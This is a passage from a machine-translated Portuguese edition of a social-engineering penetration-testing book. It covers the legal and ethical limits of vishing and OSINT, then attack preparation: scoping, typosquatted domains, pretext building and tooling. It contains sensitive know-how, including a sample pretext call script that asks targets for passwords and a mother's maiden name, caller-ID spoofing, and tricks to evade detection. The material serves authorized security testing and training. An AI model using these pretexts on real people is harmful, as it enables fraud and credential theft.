você estava em casa. Você não iria gostar, não é? O uso aceitável de mídias sociais para
coletar OSINT inclui a busca de dados públicos sobre trabalho, menções a software ou
tecnologias específicas ou ocorrências de rotina
nome de usuário.

Compreendendo as considerações legais


Quando se trata de realizar engenharia social, existem duas considerações legais
principais: falsificação e gravação. Além dessas questões, uma melhor

14 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A prática para evitar problemas legais é garantir que você esteja visando ativos de propriedade de seu
cliente, em vez de qualquer sistema BYOD (traga seu próprio dispositivo) de propriedade de funcionários.

Alguns estados, como o Tennessee, têm leis que tornam ilegal a falsificação de números de
telefone. Se você estiver fingindo ser uma emulação adversária autorizada por contrato com a empresa
cliente e se estiver visando apenas ativos de propriedade da empresa, geralmente você será claro. Quando
se trata de gravar uma chamada, alguns estados exigem que você tenha o consentimento de duas partes,
o que significa que você e a vítima devem consentir, e outros exigem o consentimento de uma única
parte, o que significa que é suficiente para você consentir. Se uma empresa pode servir como segunda
parte no consentimento para gravar seus funcionários em dispositivos de propriedade da empresa é uma
área jurídica cinzenta. A Tabela 2-1 lista os estados bipartidários. Se for solicitado a gravar chamadas,
consulte seu consultor jurídico para obter mais esclarecimentos em seu local específico.

Tabela 2-1: Estados que exigem que ambas as partes consintam na gravação de chamadas telefônicas

Estados bipartidários Notas

Califórnia

Connecticut Do ponto de vista dos casos criminais, é ilegal que alguém que não seja o
remetente ou o destinatário grave a chamada. Do ponto de vista dos casos
civis, Connecticut é um estado de consentimento bipartidário.
Delaware

Flórida

Illinois Tem as leis mais confusas que regem o consentimento. É um estado de


consentimento bipartidário com concessões especiais para locais
públicos como tribunais. A lei aplica-se a “comunicações electrónicas
privadas”, que incluem mensagens enviadas através de telefone, computador
e outros dispositivos de comunicação.

Maryland
Massachussets

Montana

Nevada Por lei, Nevada é um estado de partido único, desde que a parte gravadora
participe da comunicação. Mas com base num precedente estabelecido pela
Suprema Corte de Nevada no caso Lane v. Allstate, você deveria tratar
Nevada como um estado bipartidário.

Nova Hampshire

Óregon Quando se trata de gravar chamadas telefônicas, Oregon é um estado de


partido único. Quando se trata de gravar comunicações pessoais, Oregon
é um estado bipartidário.

Pensilvânia

Washington

Compreendendo as considerações de serviço

Você também poderá ter problemas se violar os termos de uso de um serviço. Em 2019, Mike Felch, da
Black Hills Information Security, publicou dois

Considerações Éticas em Engenharia Social 15


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

postagens de blog sobre como selecionar os serviços de software a serem usados em caso de phishing.
Intitulados “Como limpar o Google e recomeçar”, partes 1 e 2, esses blogs discutem sua
experiência usando o G Suite (a plataforma de produtividade do Google agora chamada de Google
Workspace) como alvo e ferramenta de ataque. Felch explica como comprometeu credenciais
e usou o CredSniper para contornar a autenticação multifator.

É aí que a história toma um rumo interessante. Ele foi detectado tanto pelo cliente
Security Operations Center (SOC) quanto pelo SOC do Google. Como subproduto, o Google
não apenas tomou medidas para desativar a conta que ele estava usando, mas também
(presumivelmente através do uso de algum OSINT e seus próprios algoritmos de detecção)
começou a bloquear o acesso dele e de sua esposa a outras contas não relacionadas aos
serviços do Google que eles usaram. A moral da história é garantir que você coordene com
quaisquer outros fornecedores que o cliente possa usar antes do compromisso para garantir
que você não fique sem acesso a tudo, inclusive, como no caso de Mike, ao seu termostato.

Análise após o noivado

Depois de realizar operações de engenharia social, é importante informar a organização e os


funcionários-alvo. O interrogatório envolve consciencializar as vítimas sobre as técnicas
utilizadas e as informações recolhidas, num sentido lato. Você não precisa contar a toda a
organização que Jane, do departamento financeiro, usa o nome de seu marido, John, como
senha, ou que Madison está tendo problemas com seu tio. Mantenha o relatório que você
fornece aos seus clientes anônimo e deixe de fora os detalhes; diga-lhes simplesmente que
você descobriu que alguns
os funcionários usavam os nomes dos cônjuges como senhas ou que você descobriu facilmente
informações sobre seus relacionamentos pessoais.
Uma maneira de navegar nesta questão ética é manter uma lista daqueles que
foram vítimas do envolvimento e como foram reprovados na avaliação, embora ainda
omitissem seus nomes do relatório. Se o seu ponto de contato na organização solicitar essas
informações, você poderá fornecer nomes, desde que a empresa concorde em não demitir o
funcionário. Às vezes, essa negociação pode ser uma cláusula usada em contratos entre
engenheiros sociais e seus clientes. Se a empresa não treina seus funcionários, não é justo demiti-
los por erros de segurança. Por outro lado, seu relatório deve nomear as pessoas que impediram
o sucesso do engajamento. Estas pessoas tomaram medidas activas para proteger a
organização e devem ser reconhecidas e recompensadas.

Do ponto de vista organizacional, a administração deveria informar aos funcionários que


a própria empresa não os espionou. Em vez disso, deveria ficar claro que a empresa pagou
alguém para bisbilhotar e, em seguida, filtrou os dados para obter informações relevantes apenas
para o negócio, para manter a privacidade da vida pessoal dos funcionários. Além disso, a
organização deve utilizar o relatório que você fornece, juntamente com recomendações e exemplos
de cenários, para treinar os funcionários para que fiquem mais seguros.

Ao fazer apresentações em conferências como DerbyCon, Hacker Halted e vários


eventos do Security BSides, sigo as mesmas regras que faço nos relatórios. Nunca se sabe se uma
das pessoas que foi vítima do ataque

16 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

está na sala, então evite envergonhar as pessoas publicamente. Elogie em público e


repreenda em particular. Inspire as pessoas a serem mais vigilantes e a relatar problemas
às pessoas apropriadas.

Estudo de caso: Engenharia social levada longe demais


Em 2012, durante a gravidez do príncipe George de Cambridge, a duquesa Kate
Middleton foi hospitalizada devido a enjôos matinais extremos. O público e a mídia logo
descobriram e, às 5h30, dois DJs de um programa de rádio australiano ligaram para o
hospital, se passando por Rainha da Inglaterra e Príncipe Charles. Os anfitriões imitaram
seu sotaque e solicitaram uma atualização sobre Middleton. A enfermeira que
trabalhava na recepção atendeu o telefone. Acreditando que a ligação era legítima, ela a
encaminhou para a enfermeira pessoal de Middleton, que forneceu vários detalhes
sobre sua condição.
Os DJs gravaram a ligação e colocaram no ar. O programa chamou atenção
internacional. Antes que o hospital pudesse tomar qualquer ação, a enfermeira foi encontrada
morta em um aparente suicídio. O príncipe William e a duquesa Kate divulgaram um
comunicado expressando sua profunda tristeza pelo incidente e oferecendo
condolências às pessoas próximas à enfermeira.
Este é um exemplo de engenharia social que foi longe demais. Pegadinhas são
pegadinhas, mas em algum momento durante a ligação, os brincalhões deveriam ter se
revelado. Eles também não deveriam ter divulgado publicamente as acrobacias para um
vasto público. O programa de rádio parece ter sido cancelado, e as contas do programa e
dos apresentadores no Twitter parecem ter sido excluídas. Os anfitriões emitiram um
pedido público formal de desculpas – tarde demais, após uma tragédia evitável.
Embora esta acção seja mais uma brincadeira de mau gosto do que um ataque, o
incidente enquadra-se na definição de manipulação da APA, porque os DJs não agiram
tendo em mente os melhores interesses da vítima. Se não tivessem transmitido a chamada,
a sua acção poderia ter estado mais próxima da influência, embora a melhor solução
tivesse sido não fazer a chamada em primeiro lugar.

Coleção Ética OSINT

Agora que estabeleci os limites legais e éticos para a engenharia social, deveríamos
fazer o mesmo com a OSINT. Muitas das mesmas considerações entram em jogo,
mas os riscos são geralmente menores, porque embora as informações que você encontra
através da coleta OSINT possam afetar o bem-estar de seus alvos, você não está interagindo
diretamente com eles. Ainda assim, isso não significa que você deva coletar todos os
dados existentes sobre cada alvo.

Protegendo Dados
Você deve avaliar por quanto tempo reter quaisquer dados coletados, como destruir os
dados, que valor atribuir aos dados, qual seria o resultado da perda dos dados e como
alguém poderia tentar comprometer os dados.
A perícia digital e a aplicação da lei baseiam-se frequentemente no conceito de
cadeia de custódia ao lidar com dados. A cadeia de custódia procura

Considerações Éticas em Engenharia Social 17


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

preservar em estado seguro quaisquer provas recolhidas, desde o momento da


recolha até à eliminação. Isto exige manter todas as provas num local seguro e
controlado, como um armário de provas, como você pode ter visto em programas
policiais na TV. A pessoa que tem acesso às provas tem de demonstrar uma
necessidade legítima e assiná-las e, em seguida, retirá-las, para responsabilização.
Digitalmente, impor uma cadeia de custódia é um pouco mais difícil, mas é
possível fazer isso se você tomar certos cuidados. A primeira é praticar uma boa
higiene de segurança, que discutiremos a seguir. Para cada investigação, você precisa
de uma máquina virtual dedicada que usará exclusivamente para esse trabalho.
A máquina precisa ser criptografada com uma senha forte. Quando terminar a
investigação, determine os requisitos de retenção. Armazene os arquivos que compõem
a máquina virtual em um disco. Um CD ou DVD pode ser grande o suficiente ou você
pode precisar de uma unidade maior, como um pen drive USB ou um disco rígido
externo. Como uma camada adicional de segurança, você pode criptografar a
própria unidade e armazená-la com segurança, desconectada de qualquer computador,
com algum tipo de controle de acesso físico, como cadeado e chave.
A higiene digital nada mais é do que a aplicação consistente de medidas seguras
boas práticas. Tenha uma forma de proteção contra malware em seus dispositivos
e não reutilize senhas (e use senhas fortes). Você também deve configurar um
gerenciador de senhas e autenticação multifator em todas as oportunidades. Esta é
apenas a ponta do iceberg, mas essas etapas podem ajudar a garantir que ninguém
possa questionar a integridade dos seus dados, especialmente se o OSINT que
você está coletando for para litígio.
Para atribuir valor aos dados, considere quais danos podem ser causados à
empresa ou pessoa com eles. Nunca recolho números de segurança social, mas se o
fizesse atribuir-lhes-ia um valor muito elevado. Se eu coletar um nome ou e-mail junto
com uma senha, atribuirei a eles o nível mais alto possível. Encontrar essas informações
indica que uma organização ou funcionário sofreu uma violação e que você deve ter o
devido cuidado. Dito isto, se a organização puder demonstrar que o usuário em questão
está tecnicamente proibido de usar a senha em questão, você poderá reduzir a
descoberta para uma gravidade de nível baixo ou informativo. Apenas uma senha sem
uma pessoa vinculada a ela também terá um valor menor, embora você possa usá-la em
um ataque de pulverização de senhas à empresa. (Na pulverização de senhas, um
adversário usa uma única senha na tentativa de aplicar força bruta em diversas
contas, como usar uma senha padrão em todas as contas observadas.)

Em resumo, proteja seus dados confidenciais minimizando o acesso ao sistema


no qual estão armazenados, mantendo-os atualizados e corrigidos, desativando
serviços desnecessários, empregando senhas fortes e usando autenticação multifator
quando possível. Criptografe os dados sempre que possível.
Mesmo que alguém comprometa os dados, eles não terão valor se não conseguirem
quebrar a chave de criptografia.

Seguindo Leis e Regulamentos


Esta seção aborda possíveis considerações legais para a coleta de OSINT.
Embora o GDPR seja a principal lei que afeta a OSINT, outros países, estados e
jurisdições promulgaram leis semelhantes associadas à perda de

18 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

informações pessoais como resultado de uma violação de dados. A coleta de OSINT não é uma violação
de dados em si, mas como nenhum precedente legal estabeleceu ainda o resultado do GDPR e de leis
semelhantes quando aplicadas à OSINT, você deve tratar essas leis como relevantes para suas atividades.

Regulamento Geral de Proteção de Dados

A partir de 25 de maio de 2018, o GDPR regulamenta o que você pode fazer com dados pertencentes a
cidadãos da UE. O regulamento visa proteger os cidadãos e residentes da UE no que diz respeito à recolha
e utilização dos seus dados. Em essência, capacitou os cidadãos e residentes da UE, enquanto
consumidores, a assumirem a responsabilidade pelos dados que são recolhidos deles e sobre eles. Após
a aprovação do GDPR em 2016, as empresas tiveram dois anos para se tornarem compatíveis. 25 de
maio de 2018 foi a data em que todas as empresas, globalmente, tiveram que estar em conformidade com
o GDPR. Uma empresa que viole o GDPR pode enfrentar multas de 4% de sua receita anual global. Isto
deverá constituir um incentivo para proteger qualquer informação recolhida sobre os cidadãos da UE (na UE
e no estrangeiro) e sobre as pessoas que visitam a UE.

O principal impacto do GDPR na engenharia social e no OSINT é que ele dá às pessoas a


capacidade de limitar a coleta de informações pessoais (PI) e informações pessoais confidenciais (SPI)
por terceiros, o que, por sua vez, reduz a superfície de ataque OSINT. Além disso, cria sanções para as
empresas que recolhem e armazenam IP e SPI pertencentes a cidadãos da UE se esses dados
forem violados e as informações tornadas acessíveis ao público.

Outra disposição importante do GDPR é o direito ao esquecimento. Esse


A disposição permite que cidadãos privados consultem as informações que um proprietário de dados ou
processador de dados detém sobre eles, além de solicitar a remoção oportuna de seu IP ou SPI.

Coleta de dados como aplicação da lei

Se você trabalha na aplicação da lei (federal, estadual, municipal ou outro) ou é um investigador particular
licenciado, códigos de ética e precedentes legais específicos direcionam os parâmetros pelos quais você
pode coletar e usar OSINT. Revise quaisquer leis aplicáveis ou consulte um advogado antes de iniciar
qualquer operação de coleta OSINT.

A União Americana pelas Liberdades Civis (ACLU) publicou um documento em 2012 alertando
sobre o terreno escorregadio associado à utilização de big data e outras técnicas, incluindo OSINT,
para tentar identificar potenciais criminosos antes de agirem. A ACLU discutiu a prática de recolher
dados em massa das agências de aplicação da lei sobre as pessoas e depois utilizá-los para implicá-las
em crimes que podem não ter cometido, muitas vezes recorrendo à ciência de dados para fazer previsões.
Jay Stanley, autor do artigo da ACLU, afirma que tal coleta e análise encorajarão mais coletas, com ou sem
justa causa. Pode fazer com que as pessoas entrem no sistema de justiça criminal sem o devido processo.

Coletando Dados como Cidadãos Privados

Cidadãos particulares: vocês ainda não estão livres. Alguns países e áreas têm leis que regem a
coleta OSINT para todos os cidadãos, mesmo fora da lei

Considerações Éticas em Engenharia Social 19


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

aplicação. Por exemplo, no estado da Carolina do Sul, você deve ser um investigador
particular licenciado para que a pesquisa forense digital seja admissível em tribunal. A pesquisa
forense digital inclui qualquer coisa obtida da análise de um sistema de computador, seja ele
um disco rígido ou uma rede.
Resumindo: você é responsável por conhecer as leis nas áreas onde você e seu
alvo estão localizados. Antes de praticar qualquer coleta OSINT, é melhor consultar um
advogado em sua área com conhecimento específico de leis cibernéticas relacionadas a
negócios e consultoria, apenas por segurança.

Estudo de caso: Limites Éticos da Engenharia Social


O cenário a seguir ocorreu quando eu era consultor e auxiliava uma equipe de testes de
penetração em um trabalho em uma organização. Eu deveria procurar até 25 alvos e escrever
um relatório sobre as ligações. A empresa não me deu pretexto para usar. (Alguns clientes
gostam de fornecer um, embora eu prefira criar meu próprio cenário, para garantir que os
funcionários não tenham sido informados preventivamente.)

Fingi realizar uma pesquisa de transparência organizacional, algo que inventei para
me permitir fazer perguntas bastante intrusivas às vítimas, sob a suposta autoridade do
CEO. Em vez de encontrar números de telefone via OSINT, a organização me forneceu uma
lista de números, sem nomes ou departamentos. Como ligar cegamente para um número
normalmente não leva ao sucesso, precisei fazer mais pesquisas. Dos números de telefone,
um era do despacho da polícia e outros dois eram números de telefone do tribunal local. Falei
com meu gerente sobre isso e decidimos deixar de visualizá-los.

Cuidado.
Para fazer as ligações, falsifiquei meu número para refletir um número de telefone da
Nielsen, empresa que realiza pesquisas para outras organizações. Afirmei que estava
conduzindo uma pesquisa autorizada pelo chefe da organização alvo para verificar o quanto os
funcionários sabiam sobre o local de trabalho e outros departamentos da organização. Fiz
um conjunto de perguntas semelhantes a estas:

1. Há quanto tempo você é funcionário?


2. Você tem acesso à internet sem fio? Em caso afirmativo, qual é o nome da rede ou Service
Set Identifier (SSID)?

3. Você tem máquinas de venda automática?


4. Em que tipo de computador você está? Sistema operacional?
5. Qual marca e tipo de antivírus você usa?
6. Quem é o seu zelador?
7. Qual era o nome da sua mãe antes de se casar?
8. Você pode fornecer um exemplo de senha anterior ou atual que
você usa?

Como atenuantes, não gravei as ligações e as conduzi em local privativo. Depois de


algum tempo, algumas pessoas me deram o nome de solteira de suas mães, mas ninguém
havia me dado nenhuma senha ainda.

20 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Em seguida, liguei para um número de obras públicas. Uma simpática senhora de 60 anos atendeu.
Trocamos gentilezas e expliquei a pesquisa. Ela concordou em ajudar o máximo que pudesse, mas me
disse que não entendia muito de tecnologia.
“Eu também”, eu disse. “Estou fazendo esse trabalho em meio período enquanto vou para o
ACME Community College para estudar psicologia.” Nós rimos e comecei a pesquisa.

Eu examinei a lista. Ela respondeu às primeiras seis perguntas, mas quando perguntei o nome da
mãe dela antes de ela se casar, ela me disse que eu estava pedindo uma pergunta para redefinir a senha,
que ela realmente não deveria contar a ninguém.
Concordei em seguir em frente, dizendo a ela que nem sempre gostava das perguntas que tinha que
fazer. Lembrei-lhe que ela sempre poderia dizer não a uma pergunta. Quando lhe pedi uma senha que
ela usava com frequência, ela hesitou, depois suspirou e me disse “leitelho”.

"Soro de leite coalhado?" Eu repeti.


Para construir um relacionamento com ela, contei uma história verdadeira sobre como, quando
criança, eu gostava de comer pão de milho esfarelado com leitelho com meu falecido avô.

A mulher começou a soluçar. Quando perguntei se ela estava bem, ela me disse que pão de milho
com leitelho era a refeição favorita de seu falecido marido. Imediatamente me senti deprimido. Ela me

disse que o próximo Dia de Ação de Graças seria o aniversário dele e que ela o havia perdido cerca de
três anos antes, devido ao câncer.
O que você deve fazer em cenários como este? Optei por permanecer no personagem, mas
conversei com ela até ter certeza de que ela havia retornado a um bom estado mental. Teria sido antiético
desligar a ligação e seguir em frente. Relembramos nossos falecidos familiares, as pessoas da região
dela, o clima e outros assuntos de conversa fiada.

Antes de desligar, perguntei se ela estava bem. Depois que eu desconectei,


Falei com o líder do consultório, repeti a história e disse a ele que preferia não fazer mais ligações
naquele dia. Ele concordou, então mudei para outro projeto que não envolvia ligar para as pessoas.

Principais conclusões:

•Sempre permita que as pessoas optem por não participar do envolvimento. Você pode tentar influenciá-
los a continuar, mas não seja muito enérgico. Se eles disserem não, siga em frente. Se você se
sentir confiante, pergunte novamente mais tarde, mas se eles disserem não novamente, desista.
Ser enérgico não ajudará em sua causa.

•Ao fazer perguntas delicadas, certifique-se de estar em um local tranquilo e seguro. Evite gravar a
chamada se fizer essas perguntas.

•Se você tiver indícios de que atingiu alguém, reserve um tempo para interrogá-lo ou trazê-lo de volta a
um local estável, dependendo do que for apropriado para sua campanha.

•Comunique-se com sua gerência se você se encontrar em uma situação como a minha. Eles devem
estar cientes de que ocorreu um incidente caso o alvo os contate, mas também devem saber sobre
seu estado mental e qualquer coisa que possa afetar seu desempenho.

Considerações Éticas em Engenharia Social 21


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Conclusão
A engenharia social e a OSINT têm implicações para as pessoas associadas ao
envolvimento, mesmo fora do local de trabalho. Nesse aspecto, é diferente dos
testes de penetração convencionais, que em sua maioria permitem que as
vítimas saiam do trabalho. Ao realizar esses compromissos, tenha o devido
cuidado e diligência para garantir que a pessoa visada não sofrerá estresse
psicológico adverso ou será prejudicada de outra forma. A melhor maneira de
fazer isso é estabelecer limites específicos, como os descritos neste capítulo.
Caso contrário, meu melhor conselho aos profissionais é confiar no seu instinto.
Não hesite em entrar em contato com aconselhamento jurídico ao trabalhar com
clientes internacionais. Se o que você está fazendo com a vítima do noivado é
algo que o incomodaria, é provável que você não deveria fazer isso.

22 Capítulo 2
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

PARTE II
OFENSIVASOCIAL
ENGENHARIA
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

3
PREPARANDO-SE PARA UM ATAQUE
As mentiras mais ultrajantes que podem ser inventadas encontrarão
os crentes se um homem as contar com todas as suas forças.
—Mark Twain, carta ao jornal Alta California , São Francisco, 1867

Realizar um ataque de engenharia social cria


uma correria como nenhuma outra. Mas antes de nós
realizar esses ataques, precisamos definir um
processo para concluí-los. Se não o fizermos,
poderemos ter problemas legais ou, pior, poderemos prejudicar
a saúde mental dos nossos alvos. É aqui que as estruturas entram
em jogo.
Este capítulo irá apresentá-lo a um processo de coordenação com
seu cliente para determinar (e cumprir) o escopo de um compromisso.
Também abordaremos dois processos relevantes para executar OSINT e
engenharia social – a estrutura de engenharia social e o ciclo OSINT OODA
(Observar-Orientar-Decidir-Agir) – e discutir os sistemas operacionais que
você pode usar para fazer isso.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Coordenando com o Cliente


O primeiro passo para se preparar para um ataque é coordenar com o cliente, seja ele um cliente
pagante, seu gerente ou outra equipe da sua empresa. Mesmo depois de concluir o processo
inicial de definição do escopo, não hesite em fazer perguntas relevantes para o desempenho do
trabalho. Sua ficha criminal e seu sustento podem estar em risco, portanto, certifique-se de saber
explicitamente o que você pode ou não fazer.

Escopo
Na fase de definição do escopo , você deve trabalhar com o cliente para determinar exatamente
como seu envolvimento funcionará. Isso inclui descobrir quem será seu ponto de contato, bem
como considerações de tempo (como o número de horas orçadas para o trabalho; a hora do
dia, semana ou mês em que o teste será realizado; e períodos de indisponibilidade em que
você não está autorizado a testar). Você também deve discutir considerações legais,
certificando-se de que o contrato inclua linguagem que o proteja de questões legais. É por isso
que é prudente contratar um advogado. Você precisa de palavreado que o proteja de atos de
Deus, desastres naturais e outras circunstâncias imprevistas. Por fim, discuta o tamanho do seu
envolvimento, como o número de ligações a serem feitas ou metas a serem enviadas por e-mail.

Você e seu cliente devem documentar os resultados da fase de definição do escopo na


declaração de trabalho (SOW), a parte do contrato que especifica o que você está explicitamente
autorizado e não autorizado a fazer no trabalho. Certifique-se de que o SOW delineie as regras de
engajamento apropriadas. Deve detalhar quaisquer pretextos restritos ou solicitados, endereços
de e-mail de origem, endereços IP de origem ou destino e outras restrições ou solicitações
relevantes para o envolvimento.
Além disso, certifique-se de que o contrato e o SOW mencionem você pelo nome. É melhor
nomear todos os testadores, se possível, e qualquer empresa para a qual você trabalha.
Ao definir o escopo, certifique-se de que seu envolvimento de engenharia social atenda
certos requisitos. Entre outras questões, certifique-se de que você possui a devida autorização
e proteção legal para realizar engenharia social e que a pessoa que assina o contrato está
autorizada a conceder-lhe permissão para realizar tais atividades. Se você for um funcionário
interno realizando testes, obtenha autorização por escrito. Certifique-se de ter um seguro
adequado contra erros e omissões (E&O) para se proteger legalmente. Também chamado de
seguro de responsabilidade civil profissional (PII) ou seguro de responsabilidade profissional (PLI),
o seguro E&O tem como objetivo protegê-lo do custo total da defesa contra uma ação por
negligência em um tribunal civil.

A fase de definição do escopo dá o tom para todo o envolvimento. A falha no escopo


adequado pode causar uma grande dor de cabeça para ambas as partes. Isso pode complicar
o trabalho desnecessariamente, fazendo com que você passe mais tempo ao telefone
posteriormente ou execute o trabalho de maneira inadequada. Também pode causar danos
à sua reputação como profissional, se a empresa para a qual você trabalha o considerar pouco
profissional. Para um processo repetível, consulte a planilha de definição do escopo no
Apêndice A, que pode ajudá-lo a fazer as perguntas apropriadas para que você possa garantir
que possui todas as informações necessárias.

26 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Definindo Objetivos
Depois de assinar um contrato e criar um SOW, discuta os objetivos do envolvimento
com seu cliente. Esses testes serão usados para defender a adição de defesas ao
negócio, como novos produtos ou tecnologias?
Será utilizado para avaliar as necessidades de capital humano? O teste é apenas uma
forma de atender aos requisitos de conformidade? Ou o cliente irá utilizá-lo para avaliar
a equipe de segurança (por exemplo, como parte de uma avaliação de desempenho ou
para determinar aumentos)? As respostas a essas perguntas não devem afetar o
quão bem você realiza seu envolvimento, mas devem ajudá-lo a entender o que esperar
e como estruturar suas comunicações.

Definindo Métodos
Os métodos que você usa são uma consideração crítica para o seu envolvimento. Você
cometerá um erro de digitação ou uma ocupação de domínio? Em outras palavras, você
usará um domínio semelhante ao do cliente que contenha um erro tipográfico (uma
estratégia especialmente eficaz se a grafia correta for passível de erros ortográficos) ou
comprará um domínio disponível com o mesmo nome e nomes diferentes? domínio de
nível (como nostarch.us em vez do legítimo nostarch.com)? Você se apresentará como
fornecedor, cliente ou parceiro? Você atrairá downloads de documentos maliciosos ou
apenas coletará credenciais? Você encadeará um vish e um phishing juntos? O cliente
quer que você use uma solução automatizada ou você deveria usar um pouco mais
manual, como discutiremos no Capítulo 7?
Compreender as tecnologias que seu cliente utiliza e os vetores que você almeja
serão fatores essenciais para o sucesso do engajamento.
Para ir além, descubra se você pode enumerar publicamente a tecnologia da empresa e
faça você mesmo antes do compromisso. Essa abordagem realiza duas coisas: fornece
ao cliente um método para detectar e possivelmente atribuir quaisquer ataques e valida
se o cliente implementou adequadamente suas tecnologias. A última conquista pode
agregar grande valor ao seu cliente.

Construindo Pretextos de Sucesso


Ao construir seus pretextos, tente encontrar eventos atuais no ambiente do seu alvo
que possam ser aproveitados contra eles. Você pode alegar estar na nuvem ou no
provedor de e-mail da organização alvo e exigir informações adicionais devido a um
“incidente de segurança”. Você pode dar uma olhada nas páginas e grupos de mídia
social locais para reunir OSINT adicionais sobre esses eventos. O Facebook e o
Twitter são ótimos recursos para encontrar e enumerar essas informações, principalmente
se uma hashtag estiver associada ao evento.

Se você tiver tempo suficiente, consiga alguns exemplares dos jornais locais. Se você
estão perto o suficiente, dê um passeio pela cidade e procure panfletos ou banners
anunciando tais eventos. Existe um interesse ou objetivo comum entre os alvos? Algum
dos funcionários gosta de caminhadas, corridas, corridas de obstáculos como

Preparando-se para um Ataque 27


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Spartan Race e Tough Mudder, ou triatlos Homem/Mulher de Ferro? A organização possui


time de boliche ou softball? Em caso afirmativo, em que ligas estão e onde jogam? Contra
quem eles jogam?
As considerações mencionadas aqui separarão seu ataque de phishing dos ataques
casuais, tornando-o uma ameaça em nível de estado-nação. Dedicar um tempo para entender
seus alvos e seus arredores melhorará tremendamente sua taxa de sucesso, mas certifique-
se de repassar o valor aos seus clientes, compartilhando essas dicas em seu relatório, bem
como em qualquer treinamento que você realizar com base em seus resultados.

Com base nas informações que você coleta, construa seus cenários e pré-textos.
Apresente os três a cinco primeiros ao cliente e deixe-o escolher qual deseja que você use. Se
possível, confirme um período de tempo para realizar o ataque, mas não um horário exato. Isso
mantém seus clientes atentos e oferece um elemento surpresa.

Embora nenhum cliente deva informar os funcionários sobre os cenários que você escolher,
Eu encontrei o que parece ser apenas isso. No engajamento em questão, o cliente limitou os
pretextos e cenários possíveis, e então prescreveu o horário exato em que eu poderia enviar
e-mails de phishing e fazer ligações de vishing. A advertência: se me dissessem para ligar
de volta por qualquer motivo, eu poderia fazê-lo sem consentimento adicional.

Felizmente, explorei essa advertência a meu favor. Quando liguei, criei muitos ruídos
de fundo muito altos e interrupções fingidas. Entre o barulho e o “corte do telefone”, consegui
que cerca de dois terços das pessoas para quem liguei solicitassem que eu ligasse de volta.
Como os chamei de volta para fora da janela designada, seus guardas estavam abaixados e
eles foram mais abertos do que provavelmente teriam sido durante o período de chamada
prescrito.

Usando sistemas operacionais especializados para engenharia social


Parte de ser um engenheiro social profissional ou colecionador OSINT é ter a ferramenta
certa para o trabalho. Kali — uma distribuição Linux projetada para testes de penetração e
criada e mantida pela Offensive Security — vem com ferramentas como Social-Engineer
Toolkit (SET), theHarvester, Ghost Phisher, Maltego e Recon-ng. Discutiremos essas ferramentas
com mais detalhes nos capítulos seguintes. Kali e as ferramentas que ele acompanha são
mais eficazes quando usadas como parte de um teste de penetração ou um envolvimento
envolvendo engenharia social geral sem coleta extrema de OSINT, embora também seja possível
realizar investigações avançadas de OSINT usando Kali.

Além disso, o Trace Labs canadense, sem fins lucrativos, criou e mantém ativamente
um fork do Kali Linux (com a bênção e assistência da Offensive Security) que é projetado para
ajudar nas investigações OSINT, especificamente em suas competições de Search Party usando
OSINT. para encontrar pessoas desaparecidas. A máquina virtual (VM) pré-configurada do
Trace Labs possui uma variedade de ferramentas para investigações OSINT com foco em
empresas e pessoas. Ele está disponível para download gratuito em https:// www.tracelabs.org/
trace-labs-osint-vm/.

28 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usar um sistema operacional e configuração menos comuns também traz


vantagens. Especificamente, isso permite que você ajuste seu ambiente de acordo com
suas preferências e níveis de conforto. Se estou fazendo reconhecimento em um alvo que
pode me detectar e denunciar, não quero usar minha rede doméstica ou de trabalho,
mesmo através de uma VPN que possa estar comprometida. Em vez disso, além das
versões Offensive Security e Trace Labs do Kali, eu uso um sistema Ubuntu rodando em
uma instância de servidor virtual privado (VPS) em nuvem, onde instalei um conjunto
personalizado de ferramentas, incluindo SpiderFoot, Recon-ng, Metasploit, Metagoofil,
theHarvester e alguns scripts e utilitários menos conhecidos que modifiquei. O VPS tem
seu próprio endereço IP independente e posso criar novas instâncias dele com novos
endereços IP para evitar a detecção. (Eu criei e arquivei uma imagem do sistema Ubuntu,
para poder gerar novas cópias sempre que necessário.) Também posso aumentar a
segurança do VPS fortalecendo-o – removendo serviços ou aplicativos desnecessários,
fechando portas não utilizadas e aplicando uma configuração segura ao sistema—

e use uma ou mais VPNs para se conectar a ele. Veremos uma configuração de
infraestrutura para phishing no Capítulo 7.
Algumas ferramentas também funcionam no Windows. Algumas são ferramentas
baseadas na web (por exemplo, Netcraft, Hacker Target e OSINT Framework) que você
acessa principalmente a partir de um navegador da web. Fazer isso em um Mac ou PC
pode ser mais conveniente do que no Linux. Ainda assim, entenda que é mais provável
que você seja pego se usar seu sistema pessoal ou até mesmo um sistema de trabalho para
conduzir essas operações. Contanto que você tenha a permissão adequada para
realizar esses tipos de engajamento, os piores cenários são (a) ser bloqueado e (b) ter
seu endereço IP adicionado a um feed de inteligência de ameaças (uma lista de
crowdsourcing de entidades maliciosas ou características com atividades ou arquivos
maliciosos, como endereço de e-mail, endereço IP, hash de arquivo ou domínio), o que
significa que seus potenciais clientes ou alvos podem ser avisados de que o IP que você
está usando é considerado “malicioso”. Usar um VPS para atacar permite que você use a
configuração apenas uma vez e depois a destrua.

Seguindo as fases de ataque


Todos os hackers éticos normalmente seguem um processo de ataque definido para
garantir a coleta de todas as informações necessárias. Este processo geralmente tem as
seguintes etapas: reconhecimento, digitalização e enumeração, obtenção de acesso,
manutenção de acesso, limpeza de rastros e relatório. Você pode ler mais sobre
